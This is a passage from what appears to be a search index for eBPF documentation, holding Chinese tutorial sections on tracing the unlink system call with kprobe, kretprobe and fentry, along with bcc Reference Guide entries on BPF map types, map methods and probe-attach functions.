如果当在进入和退出一个函数时，CPU运行在非当前任务所有的栈上，那么往该函数上注册kretprobe可能会导致不可预料的后果，因此，kprobes不支持在X86_64的结构下为__switch_to()函数注册kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"Syntax: BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) Creates NUM_CPU int-indexed hash maps (associative arrays) named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_HASH elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_PERCPU_HASH(start, struct request *); This creates NUM_CPU hashes named start where the key is a struct request *, and the value defaults to u64. This is a wrapper macro for BPF_TABLE(\"percpu_hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"230","title":"7. BPF_PERCPU_HASH"},"231":{"body":"Syntax: BPF_PERCPU_ARRAY(name [, leaf_type [, size]]) Creates NUM_CPU int-indexed arrays which are optimized for fastest lookup and update, named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_ARRAY elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_PERCPU_ARRAY(counts, u64, 32); This creates NUM_CPU arrays named counts where with 32 buckets and 64-bit integer values. This is a wrapper macro for BPF_TABLE(\"percpu_array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"231","title":"8. BPF_PERCPU_ARRAY"},"232":{"body":"Syntax: BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) Creates a longest prefix match trie map named name, with optional parameters. Defaults: BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_LPM_TRIE(trie, struct key_v6); This creates an LPM trie map named trie where the key is a struct key_v6, and the value defaults to u64. This is a wrapper macro to BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"232","title":"9. BPF_LPM_TRIE"},"233":{"body":"Syntax: BPF_PROG_ARRAY(name, size) This creates a program array named name with size entries. Each entry of the array is either a file descriptor to a bpf program or NULL. The array acts as a jump table so that bpf programs can \"tail-call\" other bpf programs. This is a wrapper macro for BPF_TABLE(\"prog\", ...). Methods (covered later): map.call(). Examples in situ: search /examples , search /tests , assign fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"233","title":"10. BPF_PROG_ARRAY"},"234":{"body":"Syntax: BPF_DEVMAP(name, size) This creates a device map named name with size entries. Each entry of the map is an ifindex to a network interface. This map is only used in XDP. For example: BPF_DEVMAP(devmap, 10); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"234","title":"11. BPF_DEVMAP"},"235":{"body":"Syntax: BPF_CPUMAP(name, size) This creates a cpu map named name with size entries. The index of the map represents the CPU id and each entry is the size of the ring buffer allocated for the CPU. This map is only used in XDP. For example: BPF_CPUMAP(cpumap, 16); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"235","title":"12. BPF_CPUMAP"},"236":{"body":"Syntax: BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"]) This creates a xsk map named name with size entries and pin it to the bpffs as a FILE. Each entry represents one NIC's queue id. This map is only used in XDP to redirect packet to an AF_XDP socket. If the AF_XDP socket is binded to a queue which is different than the current packet's queue id, the packet will be dropped. For kernel v5.3 and latter, lookup method is available and can be used to check whether and AF_XDP socket is available for the current packet's queue id. More details at AF_XDP . For example: BPF_XSKMAP(xsks_map, 8); Methods (covered later): map.redirect_map(). map.lookup() Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"236","title":"13. BPF_XSKMAP"},"237":{"body":"Syntax: BPF_ARRAY_OF_MAPS(name, inner_map_name, size) This creates an array map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"237","title":"14. BPF_ARRAY_OF_MAPS"},"238":{"body":"Syntax: BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) This creates a hash map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"238","title":"15. BPF_HASH_OF_MAPS"},"239":{"body":"Syntax: BPF_STACK(name, leaf_type, max_entries[, flags]) Creates a stack named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_STACK(stack, struct event, 10240); This creates a stack named stack where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"239","title":"16. BPF_STACK"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在 do_unlinkat 函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为 BPF_KPROBE(do_unlinkat) 的 kprobe，当进入 do_unlinkat 函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和 name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用 bpf_printk 函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为 BPF_KRETPROBE(do_unlinkat_exit) 的 kretprobe，当从 do_unlinkat 函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用 bpf_printk 函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"Syntax: BPF_QUEUE(name, leaf_type, max_entries[, flags]) Creates a queue named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_QUEUE(queue, struct event, 10240); This creates a queue named queue where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"240","title":"17. BPF_QUEUE"},"241":{"body":"Syntax: BPF_SOCKHASH(name[, key_type [, max_entries) Creates a hash named name, with optional parameters. sockhash is only available from Linux 4.18+. Default: BPF_SOCKHASH(name, key_type=u32, max_entries=10240) For example: struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); This creates a hash named skh where the key is a struct sock_key. A sockhash is a BPF map type that holds references to sock structs. Then with a new sk/msg redirect bpf helper BPF programs can use the map to redirect skbs/msgs between sockets (map.sk_redirect_hash()/map.msg_redirect_hash()). The difference between BPF_SOCKHASH and BPF_SOCKMAP is that BPF_SOCKMAP is implemented based on an array, and enforces keys to be four bytes. While BPF_SOCKHASH is implemented based on hash table, and the type of key can be specified freely. Methods (covered later): map.sock_hash_update(), map.msg_redirect_hash(), map.sk_redirect_hash(). search /tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"241","title":"18. BPF_SOCKHASH"},"242":{"body":"Syntax: *val map.lookup(&key) Lookup the key in the map, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"242","title":"19. map.lookup()"},"243":{"body":"Syntax: *val map.lookup_or_try_init(&key, &zero) Lookup the key in the map, and return a pointer to its value if it exists, else initialize the key's value to the second argument. This is often used to initialize values to zero. If the key cannot be inserted (e.g. the map is full) then NULL is returned. Examples in situ: search /examples , search /tools Note: The old map.lookup_or_init() may cause return from the function, so lookup_or_try_init() is recommended as it does not have this side effect.","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"243","title":"20. map.lookup_or_try_init()"},"244":{"body":"Syntax: map.delete(&key) Delete the key from the hash. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"244","title":"21. map.delete()"},"245":{"body":"Syntax: map.update(&key, &val) Associate the value in the second argument to the key, overwriting any previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"245","title":"22. map.update()"},"246":{"body":"Syntax: map.insert(&key, &val) Associate the value in the second argument to the key, only if there was no previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"246","title":"23. map.insert()"},"247":{"body":"Syntax: map.increment(key[, increment_amount]) Increments the key's value by increment_amount, which defaults to 1. Used for histograms. map.increment() are not atomic. In the concurrency case. If you want more accurate results, use map.atomic_increment() instead of map.increment(). The overhead of map.increment() and map.atomic_increment() is similar. Note. When using map.atomic_increment() to operate on a BPF map of type BPF_MAP_TYPE_HASH, map.atomic_increment() does not guarantee the atomicity of the operation when the specified key does not exist. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"247","title":"24. map.increment()"},"248":{"body":"Syntax: int map.get_stackid(void *ctx, u64 flags) This walks the stack found via the struct pt_regs in ctx, saves it in the stack trace map, and returns a unique ID for the stack trace. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"248","title":"25. map.get_stackid()"},"249":{"body":"Syntax: u64 map.perf_read(u32 cpu) This returns the hardware performance counter as configured in 5. BPF_PERF_ARRAY Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"249","title":"26. map.perf_read()"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"Syntax: void map.call(void *ctx, int index) This invokes bpf_tail_call() to tail-call the bpf program which the index entry in BPF_PROG_ARRAY points to. A tail-call is different from the normal call. It reuses the current stack frame after jumping to another bpf program and never goes back. If the index entry is empty, it won't jump anywhere and the program execution continues as normal. For example: BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"Tail-call\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"Original program\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") This assigns tail_call() to prog_array[2]. In the end of do_tail_call(), prog_array.call(ctx, 2) tail-calls tail_call() and executes it. NOTE: To prevent infinite loop, the maximum number of tail-calls is 32 ( MAX_TAIL_CALL_CNT ). Examples in situ: search /examples , search /tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"250","title":"27. map.call()"},"251":{"body":"Syntax: int map.redirect_map(int index, int flags) This redirects the incoming packets based on the index entry. If the map is BPF_DEVMAP , the packet will be sent to the transmit queue of the network interface that the entry points to. If the map is BPF_CPUMAP , the packet will be sent to the ring buffer of the index CPU and be processed by the CPU later. If the map is BPF_XSKMAP , the packet will be sent to the AF_XDP socket attached to the queue. If the packet is redirected successfully, the function will return XDP_REDIRECT. Otherwise, it will return XDP_ABORTED to discard the packet. For example: BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"251","title":"28. map.redirect_map()"},"252":{"body":"Syntax: int map.push(&val, int flags) Push an element onto a Stack or Queue table. Passing BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"252","title":"29. map.push()"},"253":{"body":"Syntax: int map.pop(&val) Pop an element from a Stack or Queue table. *val is populated with the result. Unlike peeking, popping removes the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"253","title":"30. map.pop()"},"254":{"body":"Syntax: int map.peek(&val) Peek an element at the head of a Stack or Queue table. *val is populated with the result. Unlike popping, peeking does not remove the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"254","title":"31. map.peek()"},"255":{"body":"Syntax: int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) Add an entry to, or update a sockhash map referencing sockets. The skops is used as a new value for the entry associated to key. flags is one of: BPF_NOEXIST: The entry for key must not exist in the map.\nBPF_EXIST: The entry for key must already exist in the map.\nBPF_ANY: No condition on the existence of the entry for key. If the map has eBPF programs (parser and verdict), those will be inherited by the socket being added. If the socket is already attached to eBPF programs, this results in an error. Return 0 on success, or a negative error in case of failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"255","title":"32. map.sock_hash_update()"},"256":{"body":"Syntax: int map.msg_redirect_hash(struct sk_msg_buff *msg, void *key, u64 flags) This helper is used in programs implementing policies at the socket level. If the message msg is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress path otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"256","title":"33. map.msg_redirect_hash()"},"257":{"body":"Syntax: int map.sk_redirect_hash(struct sk_buff *skb, void *key, u64 flags) This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"257","title":"34. map.sk_redirect_hash()"},"258":{"body":"Depending on which BPF helpers are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the error description below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the BPF helpers reference to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » Licensing","id":"258","title":"Licensing"},"259":{"body":"One of jobs for rewriter is to turn implicit memory accesses to explicit ones using kernel helpers. Recent kernel introduced a config option ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE which will be set for architectures who user address space and kernel address are disjoint. x86 and arm has this config option set while s390 does not. If ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE is not set, the bpf old helper bpf_probe_read() will not be available. Some existing users may have implicit memory accesses to access user memory, so using bpf_probe_read_kernel() will cause their application to fail. Therefore, for non-s390, the rewriter will use bpf_probe_read() for these implicit memory accesses. For s390, bpf_probe_read_kernel() is used as default and users should use bpf_probe_read_user() explicitly when accessing user memories.","breadcrumbs":"bcc Reference Guide » Rewriter","id":"259","title":"Rewriter"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"260","title":"bcc Python"},"261":{"body":"Constructors.","breadcrumbs":"bcc Reference Guide » Initialization","id":"261","title":"Initialization"},"262":{"body":"Syntax: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) Creates a BPF object. This is the main object for defining a BPF program, and interacting with its output. Exactly one of text or src_file must be supplied (not both). The cflags specifies additional arguments to be passed to the compiler, for example -DMACRO_NAME=value or -I/include/path. The arguments are passed as an array, with each element being an additional argument. Note that strings are not split on whitespace, so each argument must be a different element of the array, e.g. [\"-include\", \"header.h\"]. The debug flags control debug output, and can be or'ed together: DEBUG_LLVM_IR = 0x1 compiled LLVM IR DEBUG_BPF = 0x2 loaded BPF bytecode and register state on branches DEBUG_PREPROCESSOR = 0x4 pre-processor result DEBUG_SOURCE = 0x8 ASM instructions embedded with source DEBUG_BPF_REGISTER_STATE = 0x10 register state on all instructions in addition to DEBUG_BPF DEBUG_BTF = 0x20 print the messages from the libbpf library. Examples: # define entire BPF program in one line:\nBPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"hit!\\\\n\"); return 0; }'); # define program as a variable:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # source a file:\nb = BPF(src_file = \"vfsreadlat.c\") # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # add include paths:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"262","title":"1. BPF"},"263":{"body":"Syntax: USDT({pid=pid | path=path}) Creates an object to instrument User Statically-Defined Tracing (USDT) probes. Its primary method is enable_probe(). Arguments: pid: attach to this process ID. path: instrument USDT probes from this binary path. Examples: # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. USDT","id":"263","title":"2. USDT"},"264":{"body":"","breadcrumbs":"bcc Reference Guide » Events","id":"264","title":"Events"},"265":{"body":"Syntax: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") Instruments the kernel function event() using kernel dynamic tracing of the function entry, and attaches our C defined function name() to be called when the kernel function is called. For example: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") This will instrument the kernel sys_clone() function, which will then run our BPF defined do_trace() function each time it is called. You can call attach_kprobe() more than once, and attach your BPF function to multiple kernel functions. You can also call attach_kprobe() more than once to attach multiple BPF functions to the same kernel function. See the previous kprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"265","title":"1. attach_kprobe()"},"266":{"body":"Syntax: BPF.attach_kretprobe(event=\"event\", fn_name=\"name\" [, maxactive=int]) Instruments the return of the kernel function event() using kernel dynamic tracing of the function return, and attaches our C defined function name() to be called when the kernel function returns. For example: b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") This will instrument the kernel vfs_read() function, which will then run our BPF defined do_return() function each time it is called. You can call attach_kretprobe() more than once, and attach your BPF function to multiple kernel function returns. You can also call attach_kretprobe() more than once to attach multiple BPF functions to the same kernel function return. When a kretprobe is installed on a kernel function, there is a limit on how many parallel calls it can catch. You can change that limit with maxactive. See the kprobes documentation for its default value. See the previous kretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"266","title":"2. attach_kretprobe()"},"267":{"body":"Syntax: BPF.attach_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel tracepoint described by tracepoint, and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The TRACEPOINT_PROBE syntax, covered in the earlier tracepoints section, is an alternate method with the advantage of auto-declaring an args struct containing the tracepoint arguments. With attach_tracepoint(), the tracepoint arguments need to be declared in the BPF program. For example: # define BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h> struct urandom_read_args { // from /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # load BPF program\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") Notice how the first argument to printarg() is now our defined struct. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"267","title":"3. attach_tracepoint()"},"268":{"body":"Syntax: BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") Instruments the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function entry, and attach our C defined function name() to be called whenever the user-level function is called. If sym_off is given, the function is attached to the offset within the symbol. The real address addr may be supplied in place of sym, in which case sym must be set to its default value. If the file is a non-PIE executable, addr must be a virtual address, otherwise it must be an offset relative to the file load address. Instead of a symbol name, a regular expression can be provided in sym_re. The uprobe will then attach to symbols that match the provided regular expression. Libraries can be given in the name argument without the lib prefix, or with the full path (/usr/lib/...). Binaries can be given only with the full path (/bin/sh). For example: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it is called. Note how the \"lib\" in \"libc\" is not necessary to specify. Other examples: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"268","title":"4. attach_uprobe()"},"269":{"body":"Syntax: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") Instruments the return of the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function return, and attach our C defined function name() to be called whenever the user-level function returns. For example: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it returns. Other examples: b.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uretprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"269","title":"5. attach_uretprobe()"},"27":{"body":"fentry（function entry）和fexit（function exit）是eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在Linux内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int 